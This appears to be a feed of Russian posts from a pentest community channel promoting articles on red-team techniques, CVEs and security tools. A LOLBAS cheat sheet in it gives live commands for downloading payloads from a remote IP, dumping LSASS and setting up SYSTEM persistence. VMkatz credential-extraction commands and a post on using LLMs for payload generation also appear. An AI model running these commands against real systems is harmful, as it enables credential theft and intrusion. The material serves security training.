34787
Крупнейшее ИБ сообщество ру-сегмента Чат: @codeby_one Форум: codeby.net Обучение: codeby.school Пентест: codeby.one CTF: codeby.games VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Номер заявления для регистрации канала в РКН: 5035340278
Charming Kitten не взламывает системы — они взламывают людей
Недели переписки в WhatsApp, легитимные PDF, приглашения на реальные конференции. И только потом — ссылка. Ни малвари, ни эксплойтов. Просто украденная сессия и полный доступ к Microsoft 365.
APT42 (Charming Kitten, IRGC-IO) работает иначе:
• Фейковые аккаунты журналистов и организаторов конференций выстраивают доверие неделями
• Фишинговые киты перехватывают TOTP-код в реальном времени — MFA не спасает
• Инфраструктура на Google Sites и Cloudflare Workers не триггерит блокировки
Стандартный SOC заточен под вредоносные вложения и подозрительные домены. APT42 не даёт ни того, ни другого — атака идёт на личный Gmail, где корпоративная защита не работает.
Полный kill chain с маппингом на MITRE ATT&CK и примерами детектирования в SIEM:
https://codeby.net/threads/apt42-sotsial-naya-inzheneriya-kak-irgc-khakery-obkhodyat-mfa-i-kradut-uchetnyye-dannyye-bez-malvari.92779/
За апрель на форуме вышло 111 материалов. Мы посмотрели Метрику и увидели закономерность, которую не покажет ни один рейтинг «по просмотрам».
Самая читаемая статья месяца, разбор реальных техник применения LLM в атакующих операциях (569 уникальных читателей). Без хайпа про «ИИ заменит пентестера»: конкретные сценарии разведки, генерация payload под редкий таргет, и та самая граница, за которой модель начинает галлюцинировать и портить операцию.
https://codeby.net/threads/ii-v-penteste-real-nyye-tekhniki-ispol-zovaniya-llm-v-atakuyushchikh-operatsiyakh.92644/
Но интереснее смотреть не на трафик, а на глубину. Техническая статья про kernel rootkit в Linux, перехват syscall table, модификация VFS, сокрытие процессов через /proc, собрала «всего» 280 посетителей. А среднее время чтения 1:37. Для kernel-level материала это аномалия: обычно такие вещи смотрят по диагонали и закрывают на второй странице листинга. Те, кто пришёл, сидели с кодом.
https://codeby.net/threads/kernel-rootkit-linux-perekhvat-syscall-table-modifikatsiya-vfs-i-sokrytiye-protsessov-ot-koda-do-detektirovaniya.92640/
То же самое с апрельским Zero-Day в Telegram (ZDI-CAN-30207, CVSS 9.8). 413 посетителей и показатель отказов 11%, читатели уходили только после того, как дочитывали разбор вектора до конца.
https://codeby.net/threads/zero-day-v-telegram-zdi-can-30207-razbor-uyazvimosti-telegram-zero-day-s-otsenkoi-cvss-9-8.92557/
А вот что неожиданно: сравнение OSCP, CEH, eJPT и PNPT, казалось бы, «попсовая» тема про серты, дала средний retention 3:06. Потому что без маркетинга: стоимость, формат экзамена, что реально спрашивают на собеседованиях в РФ, какая серта открывает двери, а какая висит красивым PDF.
https://codeby.net/threads/sertifikatsiya-po-pentestu-oscp-vs-ceh-vs-ejpt-vs-pnpt-chestnoye-sravneniye-ot-praktika.92610/
И единственная статья из топа, которая уже собирает органику из Яндекса (CTR 7.7%), roadmap в пентест от практика. Без «выучите тысячи инструментов», с привязкой к реальным вопросам на собесах в 2026.
https://codeby.net/threads/kak-stat-pentesterom-s-nulya-roadmap-ot-cheloveka-kotoryi-proshel-etot-put.92680/
Что из этого следует: на форум приходят не за «новостями из мира ИБ», а за материалом, который можно применить в понедельник на работе. Кто-то дочитывает про rootkit до последнего листинга, кто-то разбирается с сертификацией под конкретную вакансию, кто-то ищет, как устроен CVSS 9.8 изнутри.
А вам что из апрельского зашло сильнее, и что применили в работе?
Комбинация, которая обычно не собирается в одном резюме: сетевик с действующим CCNA, 15 лет практики, удалённый формат по умолчанию и четыре рабочих языка — русский, английский, грузинский, греческий.
На форуме Codeby появился специалист, который закрывает связку «сети — системное администрирование — кибербез — техподдержка» без дробления на четыре разные роли. За плечами — полтора десятка лет в проде и действующие сертификаты Cisco и Microsoft.
Такой профиль имеет смысл присмотреть, если вы:
— держите небольшой интегратор или MSP и не готовы выделять отдельных людей под каждое направление;
— работаете с клиентами на Кипре, в Греции или в Грузии и регулярно упираетесь в языковой барьер;
— ищете внешние руки для сетевой инфраструктуры без найма сетевика в штат;
— закрываете NOC/поддержку по дежурствам и нужен универсал, который не путается в вопросах безопасности.
Специалистов с таким стажем в сетях обычно быстро «поднимают» в архитекторы или замыкают на одного вендора. Универсалы-удалёнщики со свежими сертификатами и несколькими рабочими языками — скорее исключение, чем норма.
Полный профиль с контактами — в теме резюме: https://codeby.net/threads/ishchu-rabotu-v-sfere-it.92754/
Ищете других кандидатов или хотите разместить вакансию — раздел «Карьера в ИБ»: https://codeby.net/forums/kar-yera-v-ib-vakansii-i-proyekty.23/
Beacon жив — но через 60 секунд его нет
Initial access получен, C2 поднят. Потом `MsMpEng.exe` режет нагрузку, Script Block Logging пишет каждый чих, AppLocker не даёт запустить ничего. Знакомо?
🔍 Windows-защита — четыре независимых эшелона:
• Статический движок Defender — сигнатуры, ML, PE-фичи
• AMSI — runtime-перехват в адресном пространстве процесса
• ETW — телеметрия для EDR на kernel-level
• AppLocker — application whitelisting на уровне user-mode
Ключевой инсайт: охранник сидит в одной камере с заключённым. amsi.dll загружается в каждую PowerShell-сессию с теми же привилегиями, что и вредоносный код. Классический патчинг AmsiScanBuffer оставляет следы в .text-секции — EDR это видит. Hardware breakpoints через DR0–DR3 обходят сканирование без записи в память.
https://codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763/
LOLBAS шпаргалка: пост-эксплуатация Windows штатными средствами
EDR снёс инструментарий, но cmd/PowerShell живы — Windows сама несёт всё нужное:
• curl.exe -s -o C:\Temp\f.exe http://IP/f.exe — загрузка файла (Win10 1803+), сигнатуры слабее чем на certutil
• rundll32.exe comsvcs.dll, MiniDump C:\Temp\lsass.dmp full — дамп LSASS без Mimikatz, нужен SeDebugPrivilege
• regsvr32.exe /s /n /u /i:http://IP/payload.sct scrobj.dll — Squiblydoo, обход AppLocker
• msbuild.exe C:\Temp\payload.csproj — компиляция C# inline, обход AppLocker
• schtasks /create /tn "WindowsUpdate" /tr "beacon.exe" /sc onlogon /ru SYSTEM /f — persistence без PowerShell
ATT&CK-маппинг, флаги и ограничения (WDAC, Server Core) — в полной шпаргалке:
https://codeby.net/threads/lolbas-shpargalka-komandy-post-ekspluatatsii-windows-bez-storonnikh-instrumentov.92752/
11 строк кода — и ваша сессия уже у атакующего
Ставите расширение-переводчик. Оно честно переводит страницы — и в фоне перехватывает каждый Authorization-заголовок, сливая Bearer-токен через fetch(). Никакого 0-day — только API, который браузер сам отдал.
🔍 Расширение с правом <all_urls> видит весь трафик: банк, корпоративный портал, почту. Обработчик onBeforeSendHeaders получает Cookie, Authorization, X-CSRF-Token до отправки на сервер. Жертва не замечает ничего.
⚠️ 42% вредоносных расширений с 2018 года злоупотребляли webRequest. Manifest V3 вектор не закрыл. Двухфакторка не спасает — расширение внутри периметра доверия браузера.
Полный разбор с PoC-кодом и семплами из Chrome Web Store:
https://codeby.net/threads/kak-brauzernyye-rasshireniya-kradut-dannyye-webrequest-declarativenetrequest-i-tekhniki-perekhvata-trafika.92749/
Набор специализированных инструментов с интеграцией Claude Code, предназначенных для тестирования на безопасность IoT-устройств, IP-камер и встроенных систем. Он включает в себя как инструменты командной строки, так и рабочие процессы с использованием искусственного интеллекта для комплексной оценки безопасности IoT.
pip install colorama pyserial pexpect requests
git clone https://github.com/BrownFineSecurity/iothackbot.git
cd iothackbot
export PATH="$PATH:$(pwd)/bin"
echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc
onvifscan auth http://192.168.1.100
onvifscan brute http://192.168.1.100
iotnet capture.pcap
sudo ffind firmware.bin -e
FortiClient EMS: когда управляющий сервер сам открывает дверь
🔴 4 апреля Fortinet опубликовал advisory FG-IR-26-099 — в субботу пасхального уикенда. Атакующие зафиксированы на honeypot-сетях ещё 31 марта — за четыре дня до раскрытия.
CVE-2026-35616 — архитектурный баг: endpoint API торчит наружу без auth-middleware. CVSS 9.8, pre-auth, никаких учёток, никакого взаимодействия с жертвой. Отправил запрос — получил права администратора EMS.
EMS — центральный узел управления всеми FortiClient-агентами. Захватил его — получил:
• отключение защиты на эндпоинтах (T1562.001)
• развёртывание произвольных пакетов через легитимный канал
• доступ к телеметрии и учётным данным
CISA дала федеральным агентствам 3 дня на патчинг. ~2000 EMS-инстансов до сих пор смотрят в интернет.
https://codeby.net/threads/cve-2026-35616-forticlient-ems-razbor-uyazvimosti-vektor-ataki-i-metody-obnaruzheniya.92711/
SMB signing в AD включён по умолчанию? Только на контроллерах домена
Microsoft выставляет SMB signing = required только на DC. На member servers — file, print, application, terminal — по умолчанию стоит negotiate. Это значит: если атакующий перехватит NTLM-хендшейк, подпись можно даунгрейднуть и зарелеить аутентификацию в шару другого хоста через ntlmrelayx. Если перехваченная учётка имеет там админские права — компрометация готова.
🎯 Что проверяет атакующий за три команды nmap:
• -sn по подсети — список живых хостов
• -p 88,389,445,636 — отсев DC от member servers
• --script smb-security-mode — на каких member servers signing в статусе disabled
Три команды — и готовый список целей для NTLM relay.
SMB signing = disabled стабильно встречается на свежих серверах 2025–2026 года, не только на legacy-инфраструктуре. Microsoft не меняет дефолтные политики для member servers, а админы исходят из того, что в современной Windows всё настроено безопасно из коробки. Атакующему это на руку — один Nmap-скан находит все уязвимые хосты сразу.
🔍 В статье — полная шпаргалка Nmap для AD: NSE-скрипты под LDAP/Kerberos/SMB, маппинг на MITRE ATT&CK и gotcha-моменты из практики (например, -sS без sudo молча падает в -sT — скан идёт полным TCP-хендшейком и светится в логах целевой машины).
https://codeby.net/threads/nmap-shpargalka-komandy-dlya-pentesta-active-directory.92733/
ИИ не взламывает за вас — но экономит часы рутины
За 8 месяцев на реальных engagement'ах выяснилось: LLM не заменяет пентестера, зато разгребает 3000 строк nmap-вывода за минуты и пишет черновик отчёта, пока ты пьёшь кофе.
🔍 Главная проблема обзоров «AI для пентеста» — в одну кучу валят разные вещи. Рынок делится на 7 сегментов: от AI-ассистентов внутри Burp до автономных black-box движков. Сравнивать PentestGPT с Pentera — всё равно что Burp Repeater с Nessus.
⚡ Где LLM реально ускоряет:
• Анализ разведки — промпт к выводу subfinder/amass находит «забытые» Jenkins с дефолтными кредами
• Генерация payload'ов — Unicode normalization abuse против WAF вместо заблокированных UNION-векторов
• Черновики отчётов — стартовая точка, не финал
🛡 Облачные LLM — только с NDA. Для чувствительных проектов — ollama или локальный routing.
https://codeby.net/threads/ii-dlya-pentesta-v-2026-chto-real-no-rabotayet-na-engagementakh-a-chto-marketing.92721/
Контейнер — это не виртуалка. И вот почему это важно
🔍 На каждом втором red team-проекте одна картина: Kubernetes поднят, Helm накатан, CI/CD работает — и все уверены, что контейнеры изолируют всё сами. Нет. Контейнер — это просто группа процессов за Linux-примитивами без отдельного ядра.
Один сломанный «заборчик» — и атакующий на хосте. Оттуда до cluster-admin — несколько команд.
⚙️ Полная цепочка атаки выглядит так:
• Разведка: открытый 2375/tcp или kubelet API на порту 10250 — уже точка входа
• Побег: смонтированный docker.sock даёт root на хосте даже без docker-клиента — через обычный curl
• Захват: сервисный токен пода + слабый RBAC → cluster-admin без эксплойтов
💀 Каждый шаг — из реальной практики, с командами, CVE и маппингом на MITRE ATT&CK.
Полный разбор — от разведки до захвата кластера:
https://codeby.net/threads/pentest-konteinerov-docker-i-kubernetes-ot-pobega-iz-konteinera-do-zakhvata-klastera.92708/
9 МБ — и Sliver спалился ещё на доставке
Штатный имплант весит как небольшой архив, а CrowdStrike знает ReflectiveLoader наизусть. Именно тогда садишься писать точечные расширения к зрелым фреймворкам — не новый C2 с нуля.
🔧 Три модели расширения на практике:
• BOF для Cobalt Strike — объектный файл 2–10 КБ, исполняется внутри Beacon без нового процесса. EDR не видит паттернов CreateRemoteThread, BOF отработал и выгрузился
• Кастомные агенты Mythic — имплант под профиль операции с нужным транспортом
• gRPC-плагины Sliver — автоматизация lateral movement без правки ядра
⚡ Писать C2 с нуля на двух-трёхнедельный engagement — плохая идея. Зрелые фреймворки дают готовую OPSEC-инфраструктуру, кастомизация закрывает ровно нужную дыру.
Полный разбор с кодом:
https://codeby.net/threads/razrabotka-rasshirenii-c2-freimvorkov-bof-agenty-mythic-i-plaginy-sliver-na-praktike.92700/
Ключ под ковриком: как RBAC превращает скомпрометированный под в cluster-admin
🔑 По данным Unit 42, кражи Kubernetes-токенов выросли на 282% за год. Причина — сервисные аккаунты имеют прав больше, чем нужно.
Эскалация привилегий в Kubernetes — это не про эксплойты, а про легитимные API-вызовы с избыточными разрешениями. Пять ключевых прав:
• create pods — запускаешь под с чужим SA
• get secrets — читаешь токены напрямую
• bind / escalate — назначаешь себе cluster-admin
⚙️ После попадания в под — kubectl auth can-i --list. Если видишь хотя бы два из этих разрешений, namespace скомпрометирован. Projected token живёт ~1 час — этого хватает.
В статье — пошаговый разбор от извлечения SA-токена до cluster-admin через RBAC misconfigurations.
https://codeby.net/threads/kubernetes-privilege-escalation-ot-skomprometirovannogo-poda-do-cluster-admin-cherez-rbac.92687/
21% корпоративных утечек — через браузер. Вот как это работает
🎯 На red team-энгейджменте первая цель — не домен-контроллер. Это Login Data в папке Chrome. Пара мегабайт SQLite — и в руках VPN-аккаунты, корпоративные порталы, облачные консоли.
Разобрали механику browser credential dumping изнутри:
• Chrome/Edge — двухуровневое шифрование: AES-256-GCM + DPAPI. Ключ лежит в Local State, но расшифровать его можно только в сессии жертвы
• Firefox — собственная криптобиблиотека NSS вместо DPAPI. Если пользователь не поставил мастер-пароль (а большинство не ставит) — расшифровка тривиальна
• MITRE T1555.003 — техника в арсенале APT33, APT41, LAPSUS$ и десятков других группировок
🔵 Для Blue Team в статье отдельный блок: какие артефакты оставляют эти действия в логах и как их детектировать.
Полный разбор с кодом и IoC:
https://codeby.net/threads/ataki-na-menedzhery-parolei-brauzera-kak-izvlekayut-credentials-iz-chrome-firefox-i-edge.92677/
Один POST-запрос — и на сервере лежит PHP-шелл
Без логина. Без пароля. CVE-2026-0740 в Ninja Forms — File Uploads: CVSS 9.8, PR:N, UI:N.
🔍 Что сломано: функция handle_upload не валидирует тип файла. Атакующий шлёт POST на admin-ajax.php — и .php-файл оказывается в wp-content/uploads/. Классический CWE-434.
⚠️ Отдельный риск — премиум-расширение: обновления не идут через WordPress.org, нужно обновляться вручную. Патч (версия 3.3.27) вышел 19 марта 2026-го, CVE раскрыта 7 апреля — три недели форы для атакующих.
В статье — разбор kill chain по MITRE ATT\&CK: от разведки через WPScan до извлечения DB-credentials из wp-config.php, плюс detection-правила и патч-дифф.
https://codeby.net/threads/uyazvimost-ninja-forms-rce-cve-2026-0740-polnyi-razbor-ekspluatatsii-i-zashchity-wordpress.92676/
Непонятный blob в cookie → reverse shell за 30 секунд
За этой «магией» — конкретная механика, которую важно понять, чтобы не застрять в поиске gadget chain на три вечера.
🔍 Как распознать формат в трафике:
• Java: Base64 начинается с rO0AB (байты ac ed 00 05)
• PHP: маркеры O:, a:, s: — читаются глазами
• Python pickle: бинарный поток с байтом \x80
⚙️ Ключевой инсайт: уязвимость — не в библиотеке вроде Apache Commons Collections, а в приложении, которое скармливает недоверенные данные в readObject(). Библиотека в classpath — не дыра. Дыра — когда пользовательский ввод до неё добирается.
Дальше: как подобрать gadget chain через ysoserial и phpggc, какие CVE эксплуатировать на WebLogic и PHP-фреймворках, и как строить цепочки вручную.
https://codeby.net/threads/uyazvimosti-deserializatsii-ekspluatatsiya-cherez-ysoserial-phpggc-i-postroyeniye-gadget-chain.92777/
Burp Suite + OWASP Top 10: какой плагин ставить и зачем
Один extension на каждую категорию OWASP:
• A01 Broken Access Control → Autorize: вставил cookie низкопривилегированного юзера, браузишь как админ — красный «Bypassed!» = готовый IDOR
• A03 Injection → ActiveScan++: добавляет XXE, SSTI, улучшенный SQLi
• A04 Insecure Design → Turbo Intruder: race conditions на промокодах — тысячи req/sec
• A07 Auth Failures → JWT Editor: атаки alg:none, weak secret, key confusion из Repeater
• A10 SSRF → Collaborator Everywhere: браузишь приложение, extension инжектирует заголовки и ловит out-of-band callbacks
Плюс Param Miner (до 65 000 параметров за запрос) и Retire.js для уязвимых JS-библиотек.
https://codeby.net/threads/burp-suite-extensions-shpargalka-po-owasp-top-10-2025-kakoi-plagin-stavit-i-zachem.92768/
Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.
git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help
./vmkatz snapshot.vmsn
./vmkatz /path/to/vm-directory/
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
./vmkatz -r /vmfs/volumes/datastore1/
SeImpersonatePrivilege — и ты уже на полпути к SYSTEM
Получил reverse shell от доменного юзера. whoami /priv — стандартный набор, ничего интересного. Что дальше?
🎯 Порядок приоритетов при LPE:
1. Токен — SeImpersonatePrivilege у сервисных аккаунтов IIS/MSSQL открывает Potato-атаки прямо к SYSTEM
2. Сервисы — Unquoted Service Path встречается на каждом втором пентесте, а SERVICE_CHANGE_CONFIG для группы Users — прямой билет наверх
3. UAC bypass — десятки техник без GUI, когда застрял на medium integrity
4. Kernel exploits — последнее средство: объяснять заказчику BSOD на продакшне — сомнительное удовольствие
⚡ Если оба ключа AlwaysInstallElevated выставлены в `1` — любой MSI устанавливается от SYSTEM.
Полный разбор техник, команд и нюансов эксплуатации:
https://codeby.net/threads/povysheniye-privilegii-windows-ekspluatatsiya-miskonfiguratsii-tokenov-i-obkhod-uac-na-praktike.92759/
WPProbe: Инструмент для сканирования и оценки безопасности WordPress
WPProbe — это высокопроизводительный сканер безопасности с открытым исходным кодом, предназначенный для обнаружения установленных плагинов и тем WordPress, а также их сопоставления с известными уязвимостями из баз данных Wordfence и WPScan. Инструмент использует WordPress для скрытного обнаружения компонентов, что позволяет минимизировать риск блокировки со стороны систем безопасности. WPProbe разработан для использования специалистами по тестированию на проникновение, администраторами сайтов и исследователями безопасности.
sudo apt install wpprobe
wpprobe -h
#с указанием ключа
wpprobe update-db --api-key ваш_wordfence_api_ключ
#или через переменную окружения
export WORDFENCE_API_KEY=ваш_ключ
wpprobe update-db
wpprobe scan -u https://example.com
#скрытный режим (по умолчанию)
wpprobe scan -u https://example.com --mode stealthy
#агрессивный режим (прямой перебор)
wpprobe scan -u https://example.com --mode bruteforce
#гибридный режим
wpprobe scan -u https://example.com --mode hybrid
wpprobe scan -f targets.txt -t 20
#CSV формат
wpprobe scan -u https://example.com -o results.csv
#JSON формат
wpprobe scan -u https://example.com -o results.json
wpprobe search --cve CVE-2024-1234
wpprobe update-db
wpprobe scan -u https://client-site.com -o scan_report.csv
wpprobe search --severity critical --details
wpprobe search --plugin newly-acquired-plugin-name
Themida снята через unlicense — но динамический анализ не живёт.
ScyllaHide падает в Fatal Error 0x00005c, KsDumper молчит, TitanHide крашит процесс. Патч от третьих лиц через MinHook непонятным образом проходит проверку контрольной суммы импортов и переводит приложение с Dongle-проверки на сверку лицензии с файлом в папке. Алгоритм генерации этого файла — внутри. Но добраться до него не получается: защищённые .dll, замусоренный трейс после MinHook_Initialise_Hook, и приложение ещё и детектит VM.
🎯 Что уже стоит на столе у автора:
• Unlicense отработал, IAT и OEP восстановлены — есть unpacked_.exe для статики
• MinHook в чужом патче почему-то проходит CRC-проверку импортов/экспортов — и это само по себе вопрос
• Динамика умерла: 64dbg + ScyllaHide = Violation Access, чем больше опций включено, тем стабильнее краш
• Подозрение, что оригинальный алгоритм генерации затёрт, а рабочий спрятан в injected DLL — тоже под Themida
🔍 У человека конкретные три вопроса: как отличить hooked-функцию от динамически подгруженной из уже пропатченных библиотек, стоит ли дальше копать динамику через обход debugger detection, и как снимать защиту с .dll если она под VMProtect сверху. Если кто-то воевал с Themida на .dll или разбирался с injected MinHook-патчами без исходников — загляните, человек не новичок, но застрял на 4-й день.
https://codeby.net/threads/vopros-khuk-vytashchit-algoritm-generatsii-themida.92760/
MFA пройден — жертвой же и обойдён
Представь сценарий: пользователь вводит логин, пароль, жмёт «Подтвердить» в Authenticator — и искренне считает, что защищён. В этот момент атакующий уже импортирует его session cookie в свой браузер и читает его почту. Без брутфорса. Без перебора OTP. MFA прошла сама жертва — через прокси.
Это не теория и не CVE из бюллетеня. Это AiTM-фишинг (Adversary-in-the-Middle) — рабочая индустрия с подпиской от 100 до 1000 долларов в месяц за готовый кит.
🔢 Цифры, которые неудобно игнорировать
• По данным Sekoia, с января по апрель 2025-го в активной коммерческой эксплуатации крутилось 11 различных AiTM-китов
• Только за октябрь 2025 Microsoft Defender заблокировал более 13 миллионов писем одной кампании Tycoon 2FA
• К августу 2024-го практически 100% наблюдаемых кампаний мигрировали от классического credential harvesting к proxy-based перехвату
• По данным Obsidian Security, 84% скомпрометированных аккаунтов уже имели включённый MFA
🎯 Почему TOTP, push и SMS здесь не помогают
Классический Man-in-the-Middle работает на сетевом уровне — его нейтрализует TLS. AiTM работает на уровне приложения и специально заточен под обход MFA. TLS его не останавливает, потому что прокси сам является конечной точкой обоих соединений.
Жертва устанавливает TLS-соединение с сервером атакующего. Атакующий устанавливает своё TLS-соединение с легитимным IdP. Два отдельных зашифрованных канала. Жертва видит настоящую страницу Microsoft — не копию, а реальный контент через прокси. Вводит данные, проходит MFA-challenge. После успешной аутентификации IdP выдаёт session cookie — и атакующий перехватывает его до того, как он доберётся до браузера жертвы.
🛠 Три инструмента, которые делают это реальным
Evilginx3 — standalone-приложение на Go со встроенным DNS-сервером, автоматическими TLS-сертификатами и модульной конфигурацией через phishlets. Phishlet — YAML-файл, где прописано: какие поддомены проксировать, какие POST-параметры содержат credentials и какие cookie являются session tokens. Для M365 это обычно ESTSAUTH и ESTSAUTHPERSISTENT. Evilginx на лету переписывает все ссылки в HTML/JS-ответах, подставляя фишинговые поддомены вместо оригинальных.
Modlishka и Muraena — альтернативные прокси-фреймворки с похожей логикой, но разными подходами к конфигурации и обходу детекта. Все три реализуют одну идею: стать невидимым посредником между жертвой и легитимным сервисом.
🔵 Что работает на синей стороне
Ни TOTP, ни push, ни SMS не спасают — они все транзитом проходят через прокси. Реально помогают: FIDO2/passkeys (привязаны к домену, прокси не может подделать), Conditional Access с анализом аномалий сессии и мониторинг UserAgent — после импорта cookie браузер атакующего почти всегда отличается от браузера жертвы.
Полная механика атаки, конфигурация Evilginx и индикаторы детекта для каждого фреймворка — в статье. Читай, пока твои пользователи уверены, что MFA их защищает.
https://codeby.net/threads/aitm-fishing-obkhod-mfa-cherez-evilginx-modlishka-i-muraena.92741/
Митигации включены. Эксплойт всё равно проходит.
«Memory corruption мёртв, всё закрыли ASLR и DEP» — а на последнем CTF три из четырёх pwn-тасков решились через классику. Просто с поправкой на современность.
🎯 Четыре техники, которые работают в 2026-м:
• Stack canaries — не стена, а барьер. Обходятся через format string leak или брутфорсом в fork-сервере, где канарейка не меняется между дочерними процессами
• Tcache poisoning — glibc с 2.26 дал атакующим кэш с минимальными проверками. Safe-linking в 2.32+ снимается одной утечкой heap-адреса для восстановления XOR-ключа
• ROP и JOP — код-реюз обходит DEP. Intel CET закрыл ret через Shadow Stack — и тогда в ход идут jmp reg гаджеты с dispatcher-ом. Интерпретатор из обломков чужого кода
• ASLR leak — младшие 12 бит адреса не рандомизируются никогда. Один указатель раскрывает весь регион, отсюда универсальность двухэтапной схемы leak → chain
🔍 Для каждой техники — рабочий pwntools-код, сравнительная таблица митигаций (DEP / ASLR / canaries / CFI / CET) и пошаговый workflow от checksec до интерактивного шелла. В финале — открытый вопрос про heap leak на glibc 2.35+ с Full RELRO и PIE. Интересно, кто какой примитив предпочитает.
https://codeby.net/threads/ekspluatatsiya-binarnykh-uyazvimostei-stack-overflow-heap-exploitation-rop-jop-i-obkhod-sovremennykh-zashchit.92735/
MFA включена — значит всё в порядке? Не совсем
Двухфакторка защищает ровно один момент — сам вход. Как только система выдала session token, MFA больше не нужна. Кто владеет токеном — тот и в аккаунте.
🎯 Три вектора против MFA:
• SS7-перехват — SMS с OTP маршрутизируется через узел атакующего
• SIM-свопинг — номер переносится через звонок в поддержку, все коды идут злоумышленнику
• MFA fatigue — поток push-запросов, пока пользователь не нажмёт «Подтвердить» от усталости
По данным Obsidian Security, 97%+ атак на MFA-защищённые аккаунты в 2025 году начинались не со взлома криптографии, а с поиска зазоров вокруг неё.
🔍 В статье — маппинг на MITRE ATT&CK, разбор adversary-in-the-middle фишинг-прокси и рекомендации для blue team.
https://codeby.net/threads/obkhod-mnogofaktornoi-autentifikatsii-ataki-cherez-otp-perekhvat-sim-svoping-i-push-ustalost.92728/
Прочитал 10 статей про SQL-инъекции, но не можешь перехватить первый HTTP-запрос?
Это классическая ловушка новичка: теория без практики не работает. Пентест начинается не с изучения уязвимостей, а с рабочего окружения, где можно безопасно ломать.
🐳 Один Docker-контейнер решает проблему легальной цели:docker run --rm -it -p 80:80 vulnerables/web-dvwa
Внутри DVWA — весь OWASP Top 10 с тремя уровнями сложности. Сломал конфиг — пересоздал за секунды.
🔍 Дальше — Burp Suite как прокси между браузером и приложением. Каждый запрос можно перехватить, изменить и отправить заново. Именно здесь новички впервые видят, что происходит «под капотом» формы логина.
По данным HackerOne, Burp используют большинство багхантеров — не потому что модно, а потому что это фундамент ручного тестирования.
Полный разбор — от запуска окружения до первой найденной уязвимости руками:
https://codeby.net/threads/veb-pentest-dlya-nachinayushchikh-ot-nastroiki-okruzheniya-do-pervoi-naidennoi-uyazvimosti.92714/
🚩 Новые задания на платформе HackerLab!
🖼 Категория Стеганография — Мерцающие тайны
Приятного хакинга!
🔐 Почему сканер DAST не найдёт самую опасную уязвимость в вашем API
Представь такую картину: автоматический сканер прошёлся по API, отчёт чистый, команда выдыхает. А потом пентестер вручную меняет один ID в запросе — и получает данные 60 миллионов чужих пользователей. Именно так в 2018 году взломали USPS Informed Visibility API.
Сканер находит отсутствующие заголовки безопасности и открытые debug-эндпоинты. Но он принципиально слеп к логическим дефектам. Он не поймёт, что GET /api/v1/orders/1337 отдаёт чужой заказ, если просто подменить ID. Это и есть BOLA — Broken Object Level Authorization, первое место в OWASP API Top 10 уже второй цикл подряд.
🎯 Почему BOLA так массово эксплуатируется
Механика элементарная: сервер доверяет идентификатору объекта из запроса и не проверяет, принадлежит ли объект текущему пользователю. Авторизуешься как пользователь A, находишь запрос GET /api/v2/invoices/4521, меняешь ID на 4522 — и видишь чужой инвойс. Вот и весь «эксплойт». Никакой магии, никаких сложных цепочек.
Нюанс, который упускают даже опытные тестировщики: BOLA живёт не только в GET-запросах. Проверяй каждый HTTP-метод отдельно — PUT /api/users/1338 (изменение чужого профиля), DELETE /api/comments/9921 (удаление чужого контента). Каждый метод — отдельный вектор атаки.
⚙️ Что реально меняет OWASP API Top 10 версии 2023
Список 2023 года — не косметическая правка. Три категории добавлены с нуля, две объединены, а фокус сместился с классических инъекций на уязвимости бизнес-логики. Показательный момент: Injection больше не выделена отдельным пунктом. Не потому что SQL-инъекции вымерли — просто в API-контексте авторизационные и логические баги статистически преобладают. Инъекции теперь живут внутри Security Misconfiguration.
Три новых пункта требуют исключительно ручного анализа:
• Unrestricted Access to Sensitive Business Flows (API6)
• Server Side Request Forgery (API7)
• Unsafe Consumption of APIs (API10)
Никакой сканер их не обнаружит — только человек, который понимает логику сервиса.
🛠 Инструменты, которые реально используются на пентестах
Для BOLA-тестирования must-have — расширение Autorize для Burp Suite. Оно автоматически повторяет запросы с токеном другого пользователя и сравнивает ответы. Без него ручное тестирование превращается в рутинный ад.
Для атак на JWT — jwt_tool: команда python3 jwt_tool.py -X a запускает все известные атаки на алгоритм подписи, включая подмену alg: none. Подробнее:
https://codeby.net/threads/prakticheskaya-bezopasnost-api-owasp-api-top-10-tipovyye-uyazvimosti-i-metodika-testirovaniya.92694/
🔎Команда решила переехать с виртуальных машин в Kubernetes.
Причины стандартные: автоматическое масштабирование, самоисцеление, удобное управление.
Развернули кластер, накатили микросервисы. Через месяц выяснилось:Читать полностью…
▶️Сложность выросла в 10 раз
▶️Разработчики не понимают, почему поды не стартуют
▶️Даже простой деплой требует правки пяти yaml-файлов
▶️Команда тратит половину времени на изучение K8s вместо написания кода
Unblob: Инструмент для извлечения данных из бинарных контейнеров
Unblob — утилита с открытым исходным кодом для рекурсивного извлечения содержимого из неизвестных бинарных блоков (blob). Инструмент поддерживает более 78 форматов архивов, сжатых потоков и файловых систем, автоматически определяет границы вложенных контейнеров и выделяет неизвестные фрагменты. Unblob предназначен для анализа, обратной разработки и извлечения прошивок встраиваемых систем, бинарных образов и других составных файлов.
pipx install unblob
unblob -h
unblob firmware.bin
unblob -e router_extracted -n 2 --report router_report.json router_firmware.bin
unblob -f -d 3 large_firmware.bin
unblob -s --report chunks_report.json unknown.bin
unblob -p 8 -e /data/extracted /data/images/firmware.bin
Шеллкод руками: почему msfvenom — это костыль
AV/EDR знают паттерны стандартных пейлоадов наизусть. Каждый запуск msfvenom — готовая сигнатура для детектора.
🔧 Ручной шеллкод решает три проблемы:
• Нет сигнатур — только поведенческий детект
• Контроль размера: иногда буфер даёт ровно 200 байт
• Понимание механики вместо копипаста
Главное, что ломает новичков — нулевой байт. Инструкция mov eax, 0 даёт B8 00 00 00 00, и strcpy обрежет всё после \x00. Замена: xor eax, eax — два байта 31 C0, ноль нулей.
В Windows стабильных номеров syscall нет. Шеллкод обходит PEB, ищет базу kernel32.dll через список модулей и динамически резолвит WinAPI — LoadLibrary в 40 байт.
Разбор с байткодом, C-обёрткой и инъекцией в процесс:
